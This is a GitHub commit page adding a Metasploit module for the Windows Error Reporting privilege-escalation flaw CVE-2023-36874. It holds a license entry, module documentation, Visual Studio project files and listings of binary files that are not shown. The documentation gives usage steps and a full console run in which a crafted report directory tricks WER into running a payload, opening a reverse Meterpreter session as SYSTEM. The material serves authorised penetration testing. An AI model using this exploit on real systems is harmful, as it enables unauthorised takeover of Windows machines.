Skip to content

Commit 1058291

Browse files
cdelafuente-r7cdelafuente-r7
committed
Land rapid7#18314, Windows Error Reporting RCE (CVE-2023-36874)
2 parents aa2a843 + 2c9932b commit 1058291

File tree

10 files changed

+725
-0
lines changed

10 files changed

+725
-0
lines changed

‎LICENSE

+7
Original file line numberDiff line numberDiff line change
@@ -85,6 +85,13 @@ Files: exteneral/source/exploits/CVE-2022-26904/*
8585
Copyright: 2022 Abdelhamid Naceri
8686
License: MIT
8787

88+
Files: external/source/exploits/CVE-2023-36874/*
89+
Copyright: 2023 Octoberfest7
90+
License: MIT
91+
Purpose: Library and error report file are required for calculating offsets to the correct
92+
function calls to implement the exploit. The heavily modified C main is necessary
93+
to create and trigger the exploit.
94+
8895
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
8996
Copyright: 2011 Jon Bringhurst
9097
License: GNU GPL 2.0

‎data/exploits/CVE-2023-36874/CVE-2023-36874.exe

127 KB
Binary file not shown.

‎data/exploits/CVE-2023-36874/Report.wer

6.2 KB
Binary file not shown.

‎documentation/modules/exploit/windows/local/win_error_cve_2023_36874.md

+113
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
## Vulnerable Application
2+
This module works only on Windows 10x64 22H2
3+
4+
### Introduction
5+
6+
This module takes advantage of a bug in the way Windows error reporting opens the report
7+
parser. If you open a report, Windows uses a relative path to locate the rendering program.
8+
By creating a specific alternate directory structure, we can coerce Windows into opening an
9+
arbitrary executable as SYSTEM.
10+
If the current user is a local admin, the system will attempt impersonation and the exploit will
11+
fail. Because the payload is added to a directory this module creates, in the event of successful
12+
exploitation, the user will need to delete the payload and the directories containing the payload
13+
manually.
14+
15+
This module will attempt to delete the payload it uploads and the directory structure.
16+
17+
## Installation Instructions
18+
1. Install Windows 10x64 22H2
19+
1. Create a standard user
20+
21+
22+
## Verification Steps
23+
24+
1. Create a session on the target system under the context of a non local administrative user.
25+
1. Begin interacting with the module: `use exploit/windows/local/win_error_cve_2023_36874`.
26+
1. Set the `PAYLOAD` and configure it correctly.
27+
1. If an existing handler is configured to receive the elevated session, then the module's
28+
handler should be disabled: `set DisablePayloadHandler true`.
29+
1. Make sure that the `SESSION` value is set to the existing session identifier.
30+
1. Invoke the module: `run`.
31+
32+
33+
## Options
34+
35+
### EXPLOIT_NAME
36+
37+
The filename to use for the exploit binary (%RAND%.exe by default)
38+
39+
### REPORT_DIR
40+
41+
The Error Directory to use (%RAND% by default).
42+
43+
### REPORT_NAME
44+
45+
The Error report name (%RAND% by default).
46+
47+
### SHADOW_DRIVE
48+
49+
Directory to place in the home drive for pivot (%TEMP% by default).
50+
51+
### EXECUTE_DELAY
52+
53+
The number of seconds to delay between file upload and exploit launch. Default is 3.
54+
55+
## Scenarios
56+
57+
### Windows 10.0.19045.2006 x64 (Windows 10x64 22H2)
58+
59+
```
60+
msf6 exploit(windows/local/win_error_cve_2023_36874) > run
61+
62+
[*] Started reverse TCP handler on 10.5.135.201:4444
63+
[*] Running automatic check ("set AutoCheck false" to disable)
64+
[*] OS version: Windows 10+ Build 19045
65+
[+] The target appears to be vulnerable.
66+
[*] Shadow Path = C:\NpIWBsCJozK
67+
[*] Attempting to PrivEsc on DESKTOP-V413087 via session ID: 1
68+
[*] C:\ProgramData
69+
[*] Creating C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport
70+
[*] Creating directory C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport
71+
[*] C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport created
72+
[*] Writing Report to C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport\Report.wer
73+
[*] Creating directory C:\NpIWBsCJozK
74+
[*] C:\NpIWBsCJozK created
75+
[*] Creating directory C:\NpIWBsCJozK\ProgramData\
76+
[*] C:\NpIWBsCJozK\ProgramData\ created
77+
[*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\
78+
[*] C:\NpIWBsCJozK\ProgramData\Microsoft\ created
79+
[*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\
80+
[*] C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\ created
81+
[*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\
82+
[*] C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ created
83+
[*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\
84+
[*] C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\ created
85+
[*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport
86+
[*] C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport created
87+
[*] Writing bad Report to C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport\Report.wer
88+
[*] Creating C:\NpIWBsCJozK\system32
89+
[*] Creating directory C:\NpIWBsCJozK\system32
90+
[*] C:\NpIWBsCJozK\system32 created
91+
[*] Writing payload to C:\NpIWBsCJozK\system32\wermgr.exe
92+
[*] shadow_path = NpIWBsCJozK
93+
[*] Exploit uploaded on DESKTOP-V413087 to C:\NpIWBsCJozK\fShpLfYh.exe
94+
[*] Sending stage (200774 bytes) to 10.5.132.118
95+
[+] Deleted C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport
96+
[*]
97+
[+] Deleted C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\
98+
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.118:62415) at 2023-09-19 15:43:02 -0500
99+
[-] Failed to delete C:\NpIWBsCJozK\system32: stdapi_fs_delete_dir: Operation failed: The directory is not empty.
100+
101+
meterpreter > sysinfo
102+
Computer : DESKTOP-V413087
103+
OS : Windows 10 (10.0 Build 19045).
104+
Architecture : x64
105+
System Language : en_US
106+
Domain : WORKGROUP
107+
Logged On Users : 4
108+
Meterpreter : x64/windows
109+
meterpreter > getuid
110+
Server username: NT AUTHORITY\SYSTEM
111+
meterpreter > exit
112+
113+
```

‎external/source/exploits/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874.sln

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 16
4+
VisualStudioVersion = 16.0.32929.386
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2023-36874", "CVE-2023-36874\CVE-2023-36874.vcxproj", "{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|x64 = Debug|x64
11+
Debug|x86 = Debug|x86
12+
Release|x64 = Release|x64
13+
Release|x86 = Release|x86
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Debug|x64.ActiveCfg = Debug|x64
17+
{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Debug|x64.Build.0 = Debug|x64
18+
{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Debug|x86.ActiveCfg = Debug|Win32
19+
{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Debug|x86.Build.0 = Debug|Win32
20+
{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Release|x64.ActiveCfg = Release|x64
21+
{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Release|x64.Build.0 = Release|x64
22+
{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Release|x86.ActiveCfg = Release|Win32
23+
{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Release|x86.Build.0 = Release|Win32
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
GlobalSection(ExtensibilityGlobals) = postSolution
29+
SolutionGuid = {A022017A-2A80-4E35-A696-EB6884E52E5E}
30+
EndGlobalSection
31+
EndGlobal

‎external/source/exploits/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874.vcxproj

+152
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Release|Win32">
9+
<Configuration>Release</Configuration>
10+
<Platform>Win32</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Debug|x64">
13+
<Configuration>Debug</Configuration>
14+
<Platform>x64</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<VCProjectVersion>16.0</VCProjectVersion>
23+
<Keyword>Win32Proj</Keyword>
24+
<ProjectGuid>{4cbf3aca-76e5-4c6a-9483-ca2adc6eaf6b}</ProjectGuid>
25+
<RootNamespace>CVE202336874</RootNamespace>
26+
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
27+
</PropertyGroup>
28+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
29+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
30+
<ConfigurationType>Application</ConfigurationType>
31+
<UseDebugLibraries>true</UseDebugLibraries>
32+
<PlatformToolset>v142</PlatformToolset>
33+
<CharacterSet>Unicode</CharacterSet>
34+
</PropertyGroup>
35+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
36+
<ConfigurationType>Application</ConfigurationType>
37+
<UseDebugLibraries>false</UseDebugLibraries>
38+
<PlatformToolset>v142</PlatformToolset>
39+
<WholeProgramOptimization>true</WholeProgramOptimization>
40+
<CharacterSet>Unicode</CharacterSet>
41+
</PropertyGroup>
42+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
43+
<ConfigurationType>Application</ConfigurationType>
44+
<UseDebugLibraries>true</UseDebugLibraries>
45+
<PlatformToolset>v142</PlatformToolset>
46+
<CharacterSet>Unicode</CharacterSet>
47+
</PropertyGroup>
48+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
49+
<ConfigurationType>Application</ConfigurationType>
50+
<UseDebugLibraries>false</UseDebugLibraries>
51+
<PlatformToolset>v142</PlatformToolset>
52+
<WholeProgramOptimization>true</WholeProgramOptimization>
53+
<CharacterSet>Unicode</CharacterSet>
54+
</PropertyGroup>
55+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
56+
<ImportGroup Label="ExtensionSettings">
57+
</ImportGroup>
58+
<ImportGroup Label="Shared">
59+
</ImportGroup>
60+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
61+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
62+
</ImportGroup>
63+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
64+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
65+
</ImportGroup>
66+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
67+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
68+
</ImportGroup>
69+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
70+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
71+
</ImportGroup>
72+
<PropertyGroup Label="UserMacros" />
73+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
74+
<LinkIncremental>true</LinkIncremental>
75+
</PropertyGroup>
76+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
77+
<LinkIncremental>false</LinkIncremental>
78+
</PropertyGroup>
79+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
80+
<LinkIncremental>true</LinkIncremental>
81+
</PropertyGroup>
82+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
83+
<LinkIncremental>false</LinkIncremental>
84+
</PropertyGroup>
85+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
86+
<ClCompile>
87+
<WarningLevel>Level3</WarningLevel>
88+
<SDLCheck>true</SDLCheck>
89+
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
90+
<ConformanceMode>true</ConformanceMode>
91+
</ClCompile>
92+
<Link>
93+
<SubSystem>Console</SubSystem>
94+
<GenerateDebugInformation>true</GenerateDebugInformation>
95+
</Link>
96+
</ItemDefinitionGroup>
97+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
98+
<ClCompile>
99+
<WarningLevel>Level3</WarningLevel>
100+
<FunctionLevelLinking>true</FunctionLevelLinking>
101+
<IntrinsicFunctions>true</IntrinsicFunctions>
102+
<SDLCheck>true</SDLCheck>
103+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104+
<ConformanceMode>true</ConformanceMode>
105+
</ClCompile>
106+
<Link>
107+
<SubSystem>Console</SubSystem>
108+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
109+
<OptimizeReferences>true</OptimizeReferences>
110+
<GenerateDebugInformation>true</GenerateDebugInformation>
111+
</Link>
112+
</ItemDefinitionGroup>
113+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
114+
<ClCompile>
115+
<WarningLevel>Level3</WarningLevel>
116+
<SDLCheck>true</SDLCheck>
117+
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118+
<ConformanceMode>true</ConformanceMode>
119+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
120+
</ClCompile>
121+
<Link>
122+
<SubSystem>Console</SubSystem>
123+
<GenerateDebugInformation>true</GenerateDebugInformation>
124+
</Link>
125+
</ItemDefinitionGroup>
126+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
127+
<ClCompile>
128+
<WarningLevel>Level3</WarningLevel>
129+
<FunctionLevelLinking>true</FunctionLevelLinking>
130+
<IntrinsicFunctions>true</IntrinsicFunctions>
131+
<SDLCheck>true</SDLCheck>
132+
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
133+
<ConformanceMode>true</ConformanceMode>
134+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
135+
</ClCompile>
136+
<Link>
137+
<SubSystem>Console</SubSystem>
138+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
139+
<OptimizeReferences>true</OptimizeReferences>
140+
<GenerateDebugInformation>true</GenerateDebugInformation>
141+
</Link>
142+
</ItemDefinitionGroup>
143+
<ItemGroup>
144+
<ClCompile Include="cve_2023_36874.cpp" />
145+
</ItemGroup>
146+
<ItemGroup>
147+
<ClInclude Include="def.h" />
148+
</ItemGroup>
149+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
150+
<ImportGroup Label="ExtensionTargets">
151+
</ImportGroup>
152+
</Project>

‎external/source/exploits/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874.vcxproj.filters

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup>
4+
<Filter Include="Source Files">
5+
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
6+
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
7+
</Filter>
8+
<Filter Include="Header Files">
9+
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10+
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11+
</Filter>
12+
<Filter Include="Resource Files">
13+
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14+
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15+
</Filter>
16+
</ItemGroup>
17+
<ItemGroup>
18+
<ClCompile Include="cve_2023_36874.cpp">
19+
<Filter>Source Files</Filter>
20+
</ClCompile>
21+
</ItemGroup>
22+
<ItemGroup>
23+
<ClInclude Include="def.h">
24+
<Filter>Header Files</Filter>
25+
</ClInclude>
26+
</ItemGroup>
27+
</Project>

0 commit comments

Comments
 (0)